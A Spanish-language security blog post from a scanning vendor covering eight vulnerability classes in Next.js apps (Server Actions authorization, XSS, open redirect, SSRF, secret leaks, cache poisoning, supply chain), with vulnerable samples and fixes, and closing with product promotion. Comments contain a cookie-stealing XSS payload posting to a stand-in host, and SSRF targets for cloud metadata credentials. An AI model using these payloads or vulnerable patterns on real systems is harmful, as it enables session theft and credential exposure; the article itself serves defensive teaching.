Seguridad en React y Next.js: las vulnerabilidades más frecuentes en 2026

Las vulnerabilidades más explotadas en apps Next.js 15/16: errores de frontera RSC, Server Actions, fugas de secretos, SSRF, cache poisoning y mitigaciones.

K
Kevin Reyes
22 min de lectura

Tu equipo lleva tres semanas migrando de Pages Router a App Router. La build pasa, el deploy funciona, los Server Components cargan más rápido — y ahora tienes una superficie de ataque distinta sin haberte enterado. Tres semanas después, alguien descubre que una Server Action que parecía interna se invoca desde fuera con parámetros que tu UI nunca enviaría, y devuelve datos de otros tenants. El bug no estaba en tu código React. Estaba en cómo Next.js mapea Server Actions a endpoints HTTP, y en una asunción implícita que tu equipo nunca verbalizó: "esto solo lo va a llamar mi formulario".

Eso es lo distintivo de la seguridad en Next.js 15 y 16. Las vulnerabilidades clásicas siguen ahí — XSS, open redirect, SSRF, dependencias vulnerables — pero la frontera servidor/cliente del App Router, el comportamiento del edge runtime y la caché agresiva de Next.js crean variantes nuevas que un escáner genérico de "OWASP Top 10 en JavaScript" no entiende. CVE-2025-55182 fue el caso ruidoso, pero hay un puñado de patrones que aparecen una y otra vez en auditorías de aplicaciones Next.js modernas.

En este artículo vamos a recorrer las ocho categorías que más veces hemos encontrado en revisiones de código y en escaneos DAST contra apps Next.js en 2026. Cada una está atada a una característica concreta del framework: RSC, Server Actions, middleware, edge runtime, revalidate, next/image o el cliente bundle. No es OWASP Top 10 reescrito en JavaScript — es lo que sale roto cuando aplicas patrones del App Router sin entender en qué lado de la frontera estás.

Si vienes a entender por qué CVE-2025-55182 fue tan grave en lugar de un bug puntual, esta guía te da el contexto. Y si quieres una visión general de cómo encajan las pruebas dinámicas en este stack, ya cubrimos qué es DAST y cuándo lo necesitas.


1. Errores de frontera servidor/cliente en RSC y Server Actions

La frontera entre Server Components y Client Components es la abstracción más potente del App Router y, a la vez, la fuente de más bugs de seguridad sutiles que hemos visto en 2026. El problema no es técnico — es mental. Tu equipo escribe componentes que parecen funciones puras, y olvida que "use server" convierte cualquier función exportada en un endpoint HTTP público.

CVE-2025-55182 fue la versión más visible: el parser del protocolo Flight deserializaba estructuras controladas por el usuario sin validar claves, permitiendo prototype pollution y RCE. Pero el patrón conceptual aparece todos los días en código de aplicación, sin necesidad de ningún CVE.

Server Action vulnerable — confiar en el input por proximidad al UI
1// app/dashboard/actions.ts
2"use server";
3
4import { db } from "@/lib/db";
5import { auth } from "@/lib/auth";
6
7// Esta acción es invocada desde un <form> en /dashboard
8// que solo se renderiza para admins. ¿Estamos seguros?
9export async function deleteUser(formData: FormData) {
10const userId = formData.get("userId") as string;
11
12// BUG: solo comprobamos que el caller esté autenticado.
13// No comprobamos que sea admin ni que el userId sea suyo.
14const session = await auth();
15if (!session) throw new Error("Unauthorized");
16
17await db.user.delete({ where: { id: userId } });
18}

El bug no está en el código React. El componente que renderiza el formulario solo se le muestra a admins, así que el desarrollador asumió que la acción "es de admin". Pero deleteUser se compila a un endpoint HTTP que cualquier usuario autenticado puede invocar con fetch() o curl, pasando el userId que quiera. La proximidad visual a un componente protegido en el árbol de React no implica protección a nivel de transporte.

Regla operativa para Server Actions: trata cada "use server" exactamente como tratarías un app.post(...) de Express. Autoriza dentro de la acción, valida cada parámetro con Zod, y nunca asumas que el caller es quien tu UI esperaba.

El segundo patrón frecuente es el inverso: importar un módulo server-only en un componente cliente y "arreglarlo" añadiendo "use client" arriba para que compile. El módulo deja de filtrarse al bundle, pero la lógica que necesitabas tampoco se ejecuta — y a veces se sustituye por una rama insegura para que no rompa. Si necesitas proteger imports, usa el paquete server-only (import "server-only" lanza un error de build si se importa desde un componente cliente) en lugar de confiar en convenciones.


2. XSS vía inyección de HTML y Markdown sin sanitizar

React te protege de XSS por defecto en el JSX normal: cualquier valor que pongas como hijo de un nodo se escapa automáticamente. El momento en el que esa protección desaparece es cuando llamas a la prop de inyección directa de HTML (dangerouslySetInnerHTML) o renderizas HTML producido por una librería de Markdown que no sanitiza por defecto.

En aplicaciones Next.js de 2026 esto aparece especialmente en tres sitios: blogs MDX que aceptan contenido de usuarios, dashboards que renderizan descripciones en HTML almacenadas en base de datos, y componentes que inyectan JSON-LD para SEO con datos derivados de input externo.

XSS en server-rendered Markdown sin sanitizar
1// app/posts/[slug]/page.tsx — renderiza un post creado por usuarios
2import { marked } from "marked";
3
4export default async function Post({ params }: { params: { slug: string } }) {
5const post = await db.post.findUnique({ where: { slug: params.slug } });
6if (!post) notFound();
7
8// BUG: marked devuelve HTML crudo. Si el body contiene
9// <img src=x onerror="fetch('https://evil/'+document.cookie)">,
10// se ejecuta en el navegador de cada lector.
11const html = marked.parse(post.body);
12
13return (
14 <article
15 className="prose"
16 dangerouslySetInnerHTML={{ __html: html }}
17 />
18);
19}

El hecho de que esto se renderice en el servidor (Server Component, sin "use client") no cambia nada: el HTML llega al navegador igual y el <script> o el onerror se ejecutan en el contexto de tu dominio. Si tu app maneja sesiones por cookie, ese cookie va a parar al atacante.

La mitigación es siempre la misma: pasar el HTML por un sanitizador antes de inyectarlo. DOMPurify (en el cliente) o isomorphic-dompurify (que funciona en Node) son la referencia. Para Markdown, marked admite un hook de sanitización, pero la práctica recomendada hoy es renderizar primero y sanitizar el HTML resultante con DOMPurify, porque las reglas de Markdown evolucionan más rápido que las de los sanitizadores específicos.

El caso del JSON-LD merece mención aparte. Es habitual ver código que inyecta directamente el resultado de JSON.stringify(...) dentro de un bloque <script type="application/ld+json">. JSON.stringify escapa comillas y barras invertidas pero no sustituye </script>. Si una propiedad contiene la cadena </script><script>alert(1)</script>, el navegador cierra el bloque JSON-LD y ejecuta el script siguiente. La mitigación: sustituir < por su forma escapada Unicode (\\u003c) antes de inyectar.


3. Open Redirect vía redirect() y middleware

redirect() de next/navigation y NextResponse.redirect() en middleware son las APIs canónicas para mover al usuario de una URL a otra. Son también las APIs canónicas para crear vulnerabilidades de open redirect cuando el destino se construye a partir de input controlable.

El patrón que más vemos es el clásico de "después de login, vuelve a donde estabas":

Open redirect en una Server Action de login
1"use server";
2import { redirect } from "next/navigation";
3
4export async function login(formData: FormData) {
5const email = formData.get("email") as string;
6const password = formData.get("password") as string;
7const next = formData.get("next") as string; // viene de ?next=...
8
9const session = await authenticate(email, password);
10if (!session) throw new Error("Bad credentials");
11
12// BUG: 'next' puede ser "https://evil.com/phish".
13// El navegador hace el redirect cross-origin sin avisar.
14redirect(next || "/dashboard");
15}

El atacante envía a la víctima un enlace a https://tuapp.com/login?next=https://phishing-tuapp.com/. La víctima entra, ve la URL legítima de tu dominio, mete sus credenciales, y termina en una página clonada controlada por el atacante. El daño no es solo el phishing: si tu app está bajo OAuth o SSO, el flujo de redirección puede usarse para robar tokens en URLs de callback mal validadas.

La mitigación es estricta: el destino de redirect() siempre tiene que ser una ruta relativa, o una URL absoluta cuyo host esté en una allowlist explícita.

Validación de destino para evitar open redirect
1function safeRedirect(target: string | null | undefined): string {
2if (!target) return "/dashboard";
3
4// Solo aceptamos rutas relativas que empiecen por "/"
5// y rechazamos "//evil.com" (URL protocol-relative).
6if (!target.startsWith("/") || target.startsWith("//")) {
7 return "/dashboard";
8}
9return target;
10}
11
12// uso:
13redirect(safeRedirect(next));

El mismo patrón aplica a middleware.ts. Si construyes la URL de destino concatenando un parámetro de la request, valida el host antes de devolver el NextResponse.redirect(). Y recuerda que el middleware se ejecuta en el edge runtime: APIs de Node como URL están disponibles, pero algunas librerías de validación pesadas no lo están — verifica que tu validador funciona en el edge antes de confiar en él.


4. SSRF en Server Components vía fetch() con URL del usuario

Server-Side Request Forgery es la otra cara de la moneda de tener fetch() disponible en el servidor. En el App Router, cualquier Server Component, route handler o Server Action puede hacer peticiones HTTP arbitrarias desde el proceso de Node, con la red interna del cluster como horizonte.

El caso típico es un componente que muestra una previsualización de una URL pegada por el usuario, o un endpoint de "importa este avatar desde una URL externa".

SSRF en un Server Component que previsualiza URLs externas
1// app/preview/page.tsx
2export default async function Preview({
3searchParams,
4}: {
5searchParams: { url?: string };
6}) {
7const url = searchParams.url;
8if (!url) return <p>Pega una URL</p>;
9
10// BUG: ningún filtro. El atacante envía:
11// /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
12// y obtiene credenciales temporales de IAM en AWS.
13// O http://localhost:6379/ contra un Redis interno sin auth.
14const res = await fetch(url);
15const text = await res.text();
16
17return <pre>{text.slice(0, 5000)}</pre>;
18}

La explotación clásica apunta al endpoint de metadatos de instancia (169.254.169.254 en AWS, metadata.google.internal en GCP) para extraer credenciales temporales de la VM. Pero el alcance es más amplio: cualquier servicio interno alcanzable desde el pod (bases de datos sin autenticación, dashboards de admin internos, APIs de otros servicios del cluster sin TLS) es un objetivo. Y como la petición sale desde tu propio backend, atraviesa cualquier WAF que esté delante.

La mitigación tiene dos capas. La de aplicación: validar la URL antes de hacer fetch(), resolver el DNS manualmente y comprobar que la IP no cae en rangos privados (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16, IPv6 fc00::/7 y ::1). La de infraestructura: bloquear a nivel de red la salida del pod hacia rangos privados que tu app no necesite, especialmente al endpoint de metadatos (en AWS, IMDSv2 con hop limit 1 es el mínimo).

Trampa común con URL y redirects. Validar la URL inicial no basta. Si haces fetch(userUrl) y el servidor remoto responde con un redirect a http://169.254.169.254/..., fetch() lo sigue por defecto. Pasa redirect: "manual" y vuelve a validar el Location antes de seguir, o usa una librería como ssrf-req-filter que valida cada hop.


5. Fugas de secretos en el bundle cliente

El sistema de variables de entorno de Next.js distingue entre las que llevan el prefijo NEXT_PUBLIC_ (se inlinean en el bundle del cliente y son visibles para cualquier usuario del navegador) y las que no (solo accesibles en el servidor). Es una convención clara, y precisamente por ser solo una convención falla con frecuencia.

Tres patrones recurrentes:

Secretos prefijados con NEXT_PUBLIC_ por error. Normalmente porque "no compilaba" en el cliente y alguien añadió el prefijo sin pensar. Cualquier NEXT_PUBLIC_STRIPE_SECRET_KEY, NEXT_PUBLIC_DATABASE_URL o NEXT_PUBLIC_OPENAI_API_KEY que veas en un PR es un secreto comprometido en el momento del primer despliegue.

Módulos server-only importados desde un componente cliente. El bundler de Next.js suele detectar y romper estos imports, pero hay rutas indirectas (un util compartido que importa otro util que importa el módulo de servidor) en las que el secreto termina inlineado en el chunk de JavaScript que se sirve al navegador.

Datos sensibles devueltos como props a Client Components. Los Server Components pueden pasar cualquier valor serializable como prop a un "use client" hijo. Si pasas el objeto user completo (incluyendo el hash de la contraseña, el secreto del 2FA, el refresh token), todo eso llega al cliente como JSON inyectado en el HTML. La protección depende enteramente de que selecciones campos en el lado servidor antes de pasarlos.

Filtrado de campos antes de pasar props a Client Components
1// app/profile/page.tsx — Server Component
2import { ProfileForm } from "./ProfileForm";
3
4export default async function ProfilePage() {
5const user = await db.user.findUnique({ where: { id: session.userId } });
6
7// MAL: pasar 'user' directamente filtra el hash de password,
8// el secreto TOTP, el refresh token y los IPs de auditoría.
9// return <ProfileForm user={user} />;
10
11// BIEN: proyecta solo lo que el cliente necesita.
12const safeUser = {
13 id: user.id,
14 name: user.name,
15 email: user.email,
16 avatarUrl: user.avatarUrl,
17};
18return <ProfileForm user={safeUser} />;
19}

Para detectar esto en CI, dos pasos baratos. Uno: un grep o un linter custom contra process.env.NEXT_PUBLIC_* que tenga "SECRET", "KEY", "TOKEN" o "PASSWORD" en el nombre. Dos: tras el next build, ejecutar grep -r "tu_string_secreto_de_canary" .next/static/ con una cadena canario que solo debería existir en código de servidor — si aparece en el bundle estático, tienes una fuga.


6. Desincronización de estado de auth entre RSC y cliente

En el modelo del App Router, una misma página puede tener el estado de autenticación leído dos veces: una en el Server Component (vía cookies, headers, llamada a la sesión en BD), y otra en el cliente (vía un hook como useSession, un store global o una llamada a /api/me). Si las dos lecturas no se sincronizan correctamente, aparece una clase de bugs sutil con consecuencias de seguridad reales.

El escenario típico: un usuario cierra sesión en una pestaña, vuelve a otra que tenía abierta de antes. El RSC, al hacer una mutación, ya no lo reconoce — pero el componente cliente sigue mostrando la UI de "Hola, Juan, aquí tienes tus datos". Si esa UI tenía datos cacheados de la sesión anterior cargados en estado del cliente, siguen visibles después del logout.

Otro escenario: una Server Action devuelve datos asumiendo un rol que el usuario tenía hace un momento, pero que se le revocó entre la petición de página y la invocación de la acción. Si el componente cliente cachea el rol y no lo revalida, sigue mostrando opciones de UI que no se corresponden con los permisos reales en el backend.

La mitigación operativa:

  • Fuente única de verdad en el servidor. El estado de auth real vive en una cookie de sesión validada en cada Server Action y route handler. El cliente solo refleja, nunca decide.
  • Re-validar tras mutaciones sensibles. Cualquier acción que cambie permisos, contraseña, MFA o estado de sesión debe llamar a revalidatePath() o revalidateTag() para forzar al cliente a redibujar con datos frescos.
  • No cachear datos derivados de sesión en localStorage/sessionStorage. Por más que mejore la latencia percibida, abre la puerta a que datos sigan siendo visibles tras revocación de sesión.
  • No confíes en useSession del cliente para decisiones de autorización. Sirve para esconder UI, no para proteger datos. Cualquier endpoint que devuelva esos datos tiene que volver a comprobar la sesión en el servidor.

7. Cache poisoning vía revalidate y cabeceras inadecuadas

La caché de Next.js (Data Cache, Full Route Cache, Router Cache) es una de las razones por las que el framework rinde tan bien y, a la vez, una superficie de ataque infrautilizada en las auditorías. El problema típico es servir contenido específico de un usuario desde una capa de caché que no segmenta por usuario.

Tres patrones que vemos:

Datos personalizados cacheados a nivel de ruta. Una página que muestra el saldo del usuario configurada con export const revalidate = 60 o que llama a fetch(url, { next: { revalidate: 60 }}) sin variar la cache key por usuario. El primer usuario que abre la página cachea su saldo durante 60 segundos. Los siguientes ven el saldo del primero. La caché del Data Cache se indexa por la URL del fetch y los headers que tú le digas — si no incluyes el ID de usuario en alguno de esos, las respuestas se mezclan.

Cabeceras de cache pública en respuestas privadas. Un route handler que devuelve datos de usuario y pone Cache-Control: public, max-age=300 para "ir más rápido". Si hay un CDN o un proxy delante, los datos de un usuario se sirven a otros desde la caché compartida.

Middleware que devuelve respuestas cacheables sensibles al header de auth. Si tu middleware reescribe contenido en función de la cookie de sesión y la respuesta resultante es cacheada por el CDN sin segmentar por esa cookie, vuelves al mismo problema.

Route handler con cache key explícita por usuario
1// app/api/me/balance/route.ts
2import { NextResponse } from "next/server";
3import { auth } from "@/lib/auth";
4import { unstable_cache } from "next/cache";
5
6export async function GET() {
7const session = await auth();
8if (!session) return new NextResponse("Unauthorized", { status: 401 });
9
10// unstable_cache acepta una clave estable. Incluye el userId
11// para que la caché se segmente por usuario.
12const getBalance = unstable_cache(
13 async (userId: string) => db.account.getBalance(userId),
14 ["balance"],
15 { tags: [`user:${session.userId}:balance`], revalidate: 30 }
16);
17
18const balance = await getBalance(session.userId);
19
20// Y respuesta privada, no cacheable en CDN.
21return NextResponse.json(
22 { balance },
23 { headers: { "Cache-Control": "private, no-store" } }
24);
25}

La regla operativa: cualquier respuesta que dependa del usuario tiene que llevar Cache-Control: private (preferiblemente no-store si es sensible) y, si la cacheas en unstable_cache o vía fetch cache, la cache key tiene que incluir el identificador del usuario o del tenant.


8. Supply chain de dependencias npm

El árbol de dependencias de una app Next.js mediana tiene fácilmente 1.000 paquetes transitivos. Cada uno es código que se ejecuta en tu build, en tu servidor o en el navegador del usuario. Los ataques de supply chain en el ecosistema npm — typosquatting, paquetes secuestrados por toma de mantenedor, dependencias maliciosas inyectadas en releases legítimas — han pasado de incidentes esporádicos a riesgo continuo en los últimos años.

Lo distintivo de Next.js es que el atacante tiene tres superficies a la vez: paquetes que se ejecutan solo en el servidor (con acceso a secretos de runtime, base de datos y red interna), paquetes que se ejecutan en el cliente (con acceso a la sesión del usuario y a su navegador), y paquetes que se ejecutan en el build (con acceso a variables de entorno de CI, tokens de despliegue y credenciales del registry).

Las prácticas mínimas:

  • Lockfile siempre en el repo y npm ci (no npm install) en CI. Garantiza que se instala exactamente la versión que pasó las pruebas.
  • npm audit en cada PR, con política clara para criticidades altas — pero asumiendo que npm audit no detecta paquetes maliciosos, solo CVEs publicados en versiones conocidas.
  • Scoped overrides para fijar versiones transitivas problemáticas. Cuando una dependencia transitiva tiene un CVE y la directa no se ha actualizado, overrides (npm) o resolutions (pnpm/yarn) te permiten pinnear sin tocar el árbol entero.
  • SBOM y firma de artefactos. Generar un SBOM (CycloneDX, SPDX) en cada build y firmarlo con Sigstore te da trazabilidad real de qué se desplegó.
  • Revisar releases nuevas antes de subirlas a producción. Especialmente para paquetes con uno o dos mantenedores y cambio reciente de propiedad.

Para integrar este análisis en el ciclo, el escaneo continuo de DAST cubre lo que pasa cuando la app está corriendo, pero la pieza complementaria es SCA (Software Composition Analysis) sobre el árbol de dependencias en cada build, con feed actualizado de vulnerabilidades publicadas.


Tabla resumen: vulnerabilidad → feature de Next.js → mitigación

VulnerabilidadFeature de Next.js implicadaMitigación principal
RSC trust boundaryServer Actions, protocolo FlightAutorización dentro de la acción + validación con Zod; server-only para imports protegidos
XSSInyección de HTML, MDX, JSON-LDDOMPurify / isomorphic-dompurify; escapar < en JSON-LD
Open redirectredirect(), NextResponse.redirect() en middlewareAllowlist de hosts; rechazar URLs absolutas y //host protocol-relative
SSRFfetch() en Server Components y route handlersValidar IP resuelta; bloquear rangos privados a nivel de red; IMDSv2 con hop limit 1
Fugas en bundleNEXT_PUBLIC_*, props a Client ComponentsLinter contra prefijos sospechosos; proyectar campos antes de pasar props; canary string en CI
Desync de authServer Components vs hooks de clienteServidor como única fuente de verdad; revalidatePath tras mutaciones; no cachear sesión en localStorage
Cache poisoningData Cache, revalidate, unstable_cache, Cache-ControlCache key con userId; Cache-Control: private, no-store para datos personales
Supply chain npmBuild de Next.js, dependencias del cliente y del servidorLockfile en repo + npm ci; overrides; SBOM firmado; SCA en cada PR

Errores que vemos en cada auditoría de Next.js

Por cerrar con concreto. Estos son los hallazgos repetidos que aparecen en la mayoría de las apps Next.js que hemos auditado en 2026, ordenados por prevalencia:

  1. Server Actions sin autorización propia. Confianza implícita en que "solo se llama desde mi UI". Es el equivalente moderno del antiguo "este endpoint no está enlazado desde ningún sitio".
  2. NEXT_PUBLIC_* con secretos. Sobre todo en startups que arrancaron rápido y nadie revisó las env vars antes del primer deploy.
  3. Falta de sanitización en cualquier flujo que pinte HTML proveniente de DB. Especialmente notas, descripciones, comentarios y campos enriquecidos.
  4. Open redirect en flujos de login y callback OAuth. El parámetro next, redirect_to, returnUrl o state sin validar.
  5. fetch() con URL del usuario sin filtro contra rangos privados. Importadores de imagen, previsualizadores de URL, integraciones webhook.
  6. Cache pública en respuestas privadas. Cache-Control: public en route handlers que devuelven datos del usuario.
  7. Versiones de Next.js o React desactualizadas frente a CVEs publicados. Incluyendo todavía instancias sin parchear de CVE-2025-55182.

Lo que tienen en común no es el desconocimiento técnico — es la asunción de seguridad implícita. La frontera RSC/cliente, el modelo de Server Actions y el comportamiento de la caché de Next.js requieren que el equipo verbalice qué confía y qué no. Cuando esas asunciones se quedan en la cabeza del desarrollador que escribió la primera versión, el siguiente que toca el código no las ve.


Cómo te ayuda Vulnerabbit a detectar estas vulnerabilidades

La solución DAST de Vulnerabbit prueba aplicaciones Next.js como las probaría un atacante: peticiones reales contra la app desplegada, sin tocar código. Eso significa que detecta las cosas que viven en la frontera de runtime — Server Actions accesibles sin autorización, parámetros de redirect que aceptan hosts arbitrarios, route handlers que devuelven datos privados con Cache-Control permisivo, endpoints que aceptan URLs y las siguen contra rangos privados.

Para apps SaaS multi-tenant con clientes en producción, la cobertura específica de la plataforma SaaS de Vulnerabbit incluye además los patrones de aislamiento entre tenants que son particulares de Next.js: cómo se segmenta la caché por tenant, cómo se valida la cookie de sesión antes de que la página se renderice en el servidor, y si las Server Actions verifican el tenant del recurso además del usuario.

Lo que DAST no cubre — fugas de secretos en bundles cliente, paquetes maliciosos en el árbol de dependencias, errores de lógica de negocio profundos — necesita herramientas complementarias: linting custom, escaneo de bundle, SCA en CI, y revisión humana periódica. La combinación es lo que da cobertura real, no una sola herramienta.


Conclusión

El coste de explotar una vulnerabilidad específica de Next.js no es mayor que el de explotar una clásica de OWASP Top 10. Lo que cambia es la detección. Una Server Action expuesta, una respuesta privada cacheada en CDN, un redirect() que acepta hosts arbitrarios o un Server Component que sigue URLs del usuario contra IPs internas son patrones que un escáner DAST genérico no entiende — porque no sabe qué es la frontera RSC, ni cómo se mapean las acciones a endpoints, ni cuándo el edge runtime cambia el comportamiento de la caché.

La conclusión operativa es doble. Primero, formaliza las asunciones del equipo cada vez que cruzas la frontera servidor/cliente: cualquier "use server" se trata como un endpoint público, cualquier prop a un Client Component se trata como JSON publicado en el HTML. Segundo, complementa la revisión humana con herramientas que sepan probar estos patrones contra la app desplegada. Las vulnerabilidades de las que hablamos en este post no se cazan leyendo código — se cazan ejecutándolo en condiciones realistas.


¿Quieres saber qué de esto rompe en tu app Next.js hoy?

La plataforma DAST de Vulnerabbit escanea aplicaciones Next.js 15 y 16 contra los patrones descritos en este artículo, con integración nativa en GitHub Actions y reporte detallado por categoría.

Lanzar escaneo gratuito → · Ver /solutions/dast →

Comprueba si tu dominio es vulnerable

Nuestro escáner gratuito analiza SSL, cabeceras de seguridad, DNS y configuración de email en menos de 5 minutos. Sin instalar nada.

Lanzar Auditoría Gratuita
Kevin Reyes

Escrito por

Kevin Reyes

Fundador & CEO de Vulnerabbit

Ingeniero DevSecOps con más de 7 años de experiencia en cloud security, CI/CD y automatización de infraestructura. Fundó Vulnerabbit con la misión de hacer la ciberseguridad sencilla, proactiva y accesible para startups y pymes.

LinkedIn
Escanea tu dominio gratis